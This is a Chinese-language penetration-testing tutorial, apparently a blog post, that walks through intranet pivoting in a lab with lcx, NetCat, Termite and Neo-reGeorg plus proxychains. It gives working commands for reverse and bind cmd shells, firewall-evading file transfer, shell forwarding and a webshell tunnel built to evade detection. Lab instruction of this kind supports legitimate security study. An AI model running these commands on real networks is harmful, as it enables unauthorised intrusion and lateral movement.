内网代理工具的使用(一)


内网代理工具使用

利用代理工具可以将内网的流量代理到本地进行访问,这样方便我们对内网进行纵向渗透。代理工具区分为正向代理和反向代理。正向代理就是将流量发送代理设备,由他代替本地主机去访问内网目标;一般情况下防火墙不会允许外网机器随意访问内网,由内网主机主动交出权限到代理机器,然后本地去连接代理机器,形成反向代理。

参考链接:https://blog.csdn.net/weixin_44508748/article/details/107345605?spm=1001.2014.3001.5506

实验环境

物理机通PC1

PC1与通PC2 与物理机

物理机与PC2不相通

1.lcx

lcx是最经典的端口转发工具,基于Socket套接字实现,有Windows与Linux两个版本,Linux为portmap,Windows为lcx.exe

在PC1 上执行以下命令

lcx.exe -listen 1111 11122
# 端口1111是目标主机PC2连接本地的端口
# 端口11122是将接收到的服务器内容转发端口(物理机连接的端口)

在PC2上执行以下命令,将本地的8080端口转发到PC1的1111端口

lcx.exe -slave 192.168.1.254 1111 127.0.0.1 8080

我们在物理机上访问PC1的11122端口,可以访问到服务

2.NetCat

NetCat,简称NC。除开端口转发以下还对NC的端口探测、文件传输、通信功能做了简单的演示:
NetCat 官方地址:http://netcat.sourceforge.net/

1.端口转发

(1)正向连接(鸡肋)

在PC1(192.168.1.254)执行命令将cmdshell绑定在本地5555端口上,将自己的命令行权限交出来。

nc -l -p 5555 -t -e cmd.exe
# -t是通过telnet模式执行 cmd.exe 程序,可省略

在PC2执行命令连接。

nc -nvv 192.168.1.254 5555
(2)反向连接

PC1开启监听本地端口

nc -lp 5555

PC2 进行主动连接交出自己的cmd

nc -t -e cmd.exe 192.168.1.254 5555

2.端口探测

nc -vz -w 2 192.168.1.3 80-8080
# -v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字

3.文件传输

(1)正向传输
#PC1启动监听,将9995端口接收到的数据都写到test文件里
nc -l -p 9995 > test
#本地往PC1服务器的9995端口发送数据
nc 192.168.1.254 9995 < 1.txt
(2)反向传输
#PC1启动文件发送命令,通过9992端口发送文件
nc -l -p 9992 < 1.php
#服PC2执行命令下载PC1 :9992端口文件,并把文件存到当前目录文件夹2.php
nc 192.168.1.154 9992 >2.php

对于PC1来说这是出去的流量,可利用此特性躲避防火墙。

4.NC通信

#开启监听
nc -l -p 12345
#连接。形成聊天室,不加密
nc 192.168.1.10 12345

3.Termite工具

Termite是一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适用性更强,操作也极为简便。程序分为两部分,admin(控制端)和agent(为代理端节点),admin和agent所有选项用途均一致:

 -l 指定本地socks端口,等待远程连接
 -c 指定远程socks机器ip
 -p 指定远程socks机器端口

(1).正向连接

PC1开启监听

 ./admin_windows_x86.exe -l 6666

PC2开启监听

 ./admin_windows_x86.exe -l 7777

物理机连接PC1

#连接成功后查看连接的隧道会话
show
#进入PC的会话
goto 1
#连接PC
connect 192.168.1.3 7777

传送文件

# 传送文件。将本地c:\unintall.log文件传送到目标服务器命名为1.txt
goto 2
upfile c:\unintall.log 1.txt

(2)反向连接

反向连接用于穿透防火墙

#PC1保持监听
 ./admin_windows_x86.exe -l 6666
#PC2主动连接PC1
 ./admin_windows_x86.exe -c 192.168.1.254 -p 6666

使用物理机直接连接PC1

 ./admin_windows_x86.exe -c 192.168.200.141 -p 6666

调用PC2 shell

将目标机器cmd shell转发到本地12345端口
goto 2
shell 12345 
#nc连接,得到cmdshell
nc 127.0.0.1 12345 

端口转发(并不是很好使)

#端口转发。将目标3389转发到本地1189,然后mstsc连接127.0.0.1:1189。注意多级转发会造成流量拥堵,流量可能出不来
lcxtran 1189 192.168.1.3 3389
#socket代理
#配合proxychains驱动本地软件对内网进行扫描,由本地1080将流量转发到内网
socks 1080

4.Neo-reGeorg+Proxychains

参考链接:https://fishpond.blog.csdn.net/article/details/119756779?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~default-1-119756779-blog-110389330.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~default-1-119756779-blog-110389330.pc_relevant_default&utm_relevant_index=1

主要功能把内网服务器端口的数据通过http/https隧道转发到本机,实现http协议的通信。

我们用他的升级版本neo-reGeorg

写于2020年,持续更新,重构版reGeorg,python写的,提高稳定性和可用性,避免特征检测

传输内容经过变形 base64 加密,伪装成 base64 编码
直接请求响应可定制化 (如伪装的404页面)
HTTP Headers 的指令随机生成,避免特征检测
HTTP Headers 可定制化
自定义 HTTP 响应码
多 URL 随机请求
服务端 DNS 解析
兼容 python2 / python3
服务端环境的高兼容性
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行

github:https://github.com/L-codes/Neo-reGeorg

原理图如下:

生成webshell

python3 neoreg.py generate -k password

连接webshell

python3 neoreg.py -k password -u http://xx/tunnel.php

---------特殊用法---------

1.伪装404

python neoreg.py generate -k  --file 404.html --httpcode 404

2.如需 Authorization 认证和定制的 Header 或 Cookie

$ python neoreg.py -k  -u  -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

3.需要分散请求,可上传到多个路径上,如内存马

python neoreg.py -k  -u  -u  -u  ...

4.使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )

python neoreg.py -k  -u  -t 

我们的PC1 是PHP环境

脚本上传后,使用Python运行脚本进行连接。

python3 neoreg.py -k password -u http://192.168.200.141/tunnel.php

成功连接

然后就可以通过proxychains来利用socks代理来访问内网,进行内网的访问。